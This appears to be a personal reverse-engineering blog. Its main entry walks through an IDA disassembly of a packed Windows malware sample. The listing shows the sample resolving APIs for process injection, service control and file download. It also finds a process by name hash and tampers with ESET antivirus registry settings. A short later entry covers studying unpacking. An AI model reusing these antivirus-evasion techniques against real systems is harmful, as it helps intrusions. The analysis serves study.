UPX0:15163B98    k32_WriteFile dd offset kernel32_WriteFile
UPX0:15163B9C    k32_WriteProcessMemory dd offset kernel32_WriteProcessMemory
UPX0:15163BA0    k32_lstrcat dd offset kernel32_lstrcat 
UPX0:15163BA4    k32_lstrcpy dd offset kernel32_lstrcpy 
UPX0:15163BA8    k32_readfile dd offset kernel32_ReadFile
UPX0:15163BAC    k32_OpenProcess dd offset kernel32_OpenProcess
UPX0:15163BB0    k32_TerminateProcess dd offset kernel32_TerminateProcess
UPX0:15163BB4    k32_lstrcpyn dd offset kernel32_lstrcpyn
UPX0:15163BB8    k32_lstrlen dd offset kernel32_lstrlen 
UPX0:15163BBC    k32_lstrcmpi dd offset kernel32_lstrcmpi
UPX0:15163BC0    k32_GetProcAddress dd offset kernel32_GetProcAddress
UPX0:15163BC4    k32_GlobalAlloc dd offset kernel32_GlobalAlloc
UPX0:15163BC8    k32_GlobalFree dd offset kernel32_GlobalFree
UPX0:15163BCC    k32_CreateToolhelp32Snapshot dd offset kernel32_CreateToolhelp32Snapshot
UPX0:15163BD0    k32_Process32First dd offset kernel32_Process32First
UPX0:15163BD4    k32_Process32Next dd offset kernel32_Process32Next
UPX0:15163BD8    k32_DuplicateHandle dd offset kernel32_DuplicateHandle
UPX0:15163BDC    k32_GetCurrentProcessId dd offset kernel32_GetCurrentProcessId
UPX0:15163BE0    k32_CreateThread dd offset kernel32_CreateThread

Afterward we have a similiar process (this time to advapi.dll):

UPX0:151619F5  loc_151619F5:
UPX0:151619F5  push    offset aAdvapi32_dll
UPX0:151619FA  pop     eax
UPX0:151619FB  push    521h
UPX0:15161A00  pop     ecx
UPX0:15161A01  xor     [eax], ecx
UPX0:15161A03  push    offset lpThreadAttributes
UPX0:15161A08  push    0
UPX0:15161A0A  push    0
UPX0:15161A0C  push    offset thread_func2
UPX0:15161A11  push    0
UPX0:15161A13  push    0
UPX0:15161A13  rebuild_import_tables endp
UPX0:15161A15  call    k32_CreateThread
UPX0:15161A1B  push    0FAh
UPX0:15161A20  call    k32_Sleep
UPX0:15161A26  push    offset aAdvapi32_dll            ; "advapi32.dll"
UPX0:15161A2B  call    k32_LoadLibraryA
UPX0:15161A31  or      eax, eax
UPX0:15161A33  jz      short locret_15161A5B
UPX0:15161A35  mov     offset_begin_advapi32, eax
UPX0:15161A3A  push    offset advapi_AdjustTokenPrivileges
UPX0:15161A3F  push    NUMBER_OF_ADDRESSES2
UPX0:15161A45  push    offset byte_15161955
UPX0:15161A4A  push    eax
UPX0:15161A4B  call    rebuild_import_table
UPX0:15161A50  cmp     eax, NUMBER_OF_ADDRESSES2
UPX0:15161A56  jz      short loc_15161A5C
UPX0:15161A58  retn

as a result of this call to rebuild_import_table the following addresses were looked up:

UPX0:15163BE8  advapi_AdjustTokenPrivileges dd offset advapi32_AdjustTokenPrivileges
UPX0:15163BEC  advapi_LookupPrivilegeValueA dd offset advapi32_LookupPrivilegeValueA
UPX0:15163BF0  advapi_OpenProcessToken dd offset advapi32_OpenProcessToken
UPX0:15163BF4  advapi_RegCreateKeyA dd offset advapi32_RegCreateKeyA
UPX0:15163BF8  advapi_RegEnumKeyExA dd offset advapi32_RegEnumKeyExA
UPX0:15163BFC  advapi_RegOpenKeyExA dd offset advapi32_RegOpenKeyExA
UPX0:15163C00  advapi_RegQueryValueExA dd offset advapi32_RegQueryValueExA
UPX0:15163C04  advapi_RegSetValueExA dd offset advapi32_RegSetValueExA
UPX0:15163C08  advapi_CloseServiceHandle dd offset advapi32_CloseServiceHandle
UPX0:15163C0C  advapi_ControlService dd offset advapi32_ControlService
UPX0:15163C10  advapi_DeleteService dd offset advapi32_DeleteService
UPX0:15163C14  advapi_OpenSCManagerA dd offset advapi32_OpenSCManagerA
UPX0:15163C18  advapi_OpenServiceA dd offset advapi32_OpenServiceA

the jz is taken and we proceed to:

UPX0:15161A5C  loc_15161A5C:                           
UPX0:15161A5C  push    offset aUrlmon_dll              ; "urlmon.dll"
UPX0:15161A61  call    k32_LoadLibraryA
UPX0:15161A67  or      eax, eax
UPX0:15161A69  jz      short near ptr unk_15161A91
UPX0:15161A6B  mov     offset_begin_urlmon, eax
UPX0:15161A70  push    offset urlmon_dll_URLDownloadToFileA
UPX0:15161A75  push    NUMBER_OF_ADDRESSES3
UPX0:15161A7B  push    offset byte_1516198D
UPX0:15161A80  push    eax
UPX0:15161A81  call    rebuild_import_table
UPX0:15161A86  cmp     eax, NUMBER_OF_ADDRESSES3
UPX0:15161A8C  jz      short near ptr unk_15161A92

and the function looked up by rebuild_import_table is
UPX0:15163C20  urlmon_dll_URLDownloadToFileA dd offset urlmon_URLDownloadToFileA

Again the jz is taken and the instruction at the target address is:

UPX0:15161A92  locret_15161A92:
UPX0:15161A92  retn

So the execution returns to
UPX0:15161A98  call    search_proc_by_hash1
(the function following the call to rebuild_import_tables)

This is what the function looks like:
UPX0:151615F4  search_proc_by_hash1 proc near          
UPX0:151615F4  push    process_name_hash1
UPX0:151615FA  call    search_process
UPX0:151615FF  cmp     eax, 0
UPX0:15161602  jbe     locret_151616C5
UPX0:15161608  push    eax
UPX0:15161609  pop     dword_15163B45
UPX0:1516160F  push    offset registryKeyHandle
UPX0:15161614  push    offset aSoftwareEsetNo          ; "SOFTWARE\\Eset\\Nod\\CurrentVersion\\Module"...
UPX0:15161619  push    80000002h
UPX0:1516161E  call    advapi_RegCreateKeyA
UPX0:15161624  push    0B8h
UPX0:15161629  push    offset a2                       ; "2"
UPX0:1516162E  push    3
UPX0:15161630  push    0
UPX0:15161632  push    offset aExc                     ; "exc"
UPX0:15161637  push    registryKeyHandle
UPX0:1516163D  call    advapi_RegSetValueExA
UPX0:15161643  or      eax, eax
UPX0:15161645  jnz     short locret_151616C5
UPX0:15161647  push    3
UPX0:15161649  pop     dword_15163B41
UPX0:1516164F  push    4
UPX0:15161651  push    offset dword_15163B41
UPX0:15161656  push    4
UPX0:15161658  push    0
UPX0:1516165A  push    offset aExc_num                 ; "exc_num"
UPX0:1516165F  push    registryKeyHandle
UPX0:15161665  call    advapi_RegSetValueExA
UPX0:1516166B  push    registryKeyHandle
UPX0:15161671  call    k32_CloseHandle
UPX0:15161677  push    dword_15163B45
UPX0:1516167D  push    0
UPX0:1516167F  push    1
UPX0:15161681  mov     ecx, k32_OpenProcess
UPX0:15161687  push    ecx
UPX0:15161688  pop     dword_15163B49
UPX0:1516168E  push    0
UPX0:15161690  pop     dword_15163B4D
UPX0:15161696  push    offset registryKeyHandle
UPX0:1516169B  push    0
UPX0:1516169D  push    0
UPX0:1516169F  push    offset thread_func3
UPX0:151616A4  push    0
UPX0:151616A6  push    0
UPX0:151616A8  call    k32_CreateThread
UPX0:151616AE  push    78h
UPX0:151616B0  call    k32_Sleep
UPX0:151616B6  call    dword_15163B4D
UPX0:151616BC  push    1
UPX0:151616BE  push    eax
UPX0:151616BF  call    k32_TerminateProcess
UPX0:151616C5  locret_151616C5:                        
UPX0:151616C5  retn
UPX0:151616C5  search_proc_by_hash1 endp

We can see that there is a push of an argument and a call to search_process

UPX0:1516121D  search_process proc near                
UPX0:1516121D  push    ebp                             
UPX0:1516121E  mov     ebp, esp
UPX0:15161220  push    0
UPX0:15161222  push    TH32CS_SNAPPROCESS
UPX0:15161224  call    k32_CreateToolhelp32Snapshot
UPX0:1516122A  cmp     eax, 0FFFFFFFFh
UPX0:1516122D  jz      short locret_1516129E
UPX0:1516122F  push    eax
UPX0:15161230  pop     snapShotHandle
UPX0:15161236  mov     LPPROCESSENTRY32, 128h
UPX0:15161240  push    offset LPPROCESSENTRY32
UPX0:15161245  push    snapShotHandle
UPX0:1516124B  call    k32_Process32First
UPX0:15161251  cmp     eax, 1
UPX0:15161254  jnz     short locret_1516129E
UPX0:15161256
UPX0:15161256  loc_15161256:                           
UPX0:15161256  push    offset ProcessName              ; ""
UPX0:1516125B  call    GenHash
UPX0:15161260  cmp     eax, [ebp+8]
UPX0:15161263  jnz     short loc_1516127A
UPX0:15161265  push    snapShotHandle
UPX0:1516126B  call    k32_CloseHandle
UPX0:15161271  push    dword_15163351
UPX0:15161277  pop     eax
UPX0:15161278  jmp     short locret_1516129E
UPX0:1516127A  loc_1516127A:                            
UPX0:1516127A  push    offset LPPROCESSENTRY32
UPX0:1516127F  push    snapShotHandle
UPX0:15161285  call    k32_Process32Next
UPX0:1516128B  or      eax, eax
UPX0:1516128D  jnz     short loc_15161256
UPX0:1516128F  push    snapShotHandle
UPX0:15161295  call    k32_CloseHandle
UPX0:1516129B  push    0
UPX0:1516129D  pop     eax
UPX0:1516129E
UPX0:1516129E  locret_1516129E:                        
UPX0:1516129E                                          
UPX0:1516129E  leave
UPX0:1516129F  retn    4
UPX0:1516129F  search_process endp

This function takes a snapshot of all running processes, creates a hash of the process name and compares it to the argument. I don't know the name that would result in the given hash is, although I'm guessing it has something to do with eset nod anti-virus (which I don't have running in this machine).

As the return value of the call to search_process EAX holds 0 so the jump at 15161602 is taken (and the process returns).

I will continue with my analysis in a future post.

Monday, 2 November 2009

Back to work

After a few days of inactivity due to some personal issues, I am back to work.
Today I spent most of my day reading the IDA book.
Due to the fact that in the last couple of days I wasn't able work on the crackme, and I don't have that much spare time to keep working on it, I will probably just move on.
One topic I have never covered is unpacking, and this was basically what I spent all day reading about. In addition to this, I hope to start analyzing some malware in a near future.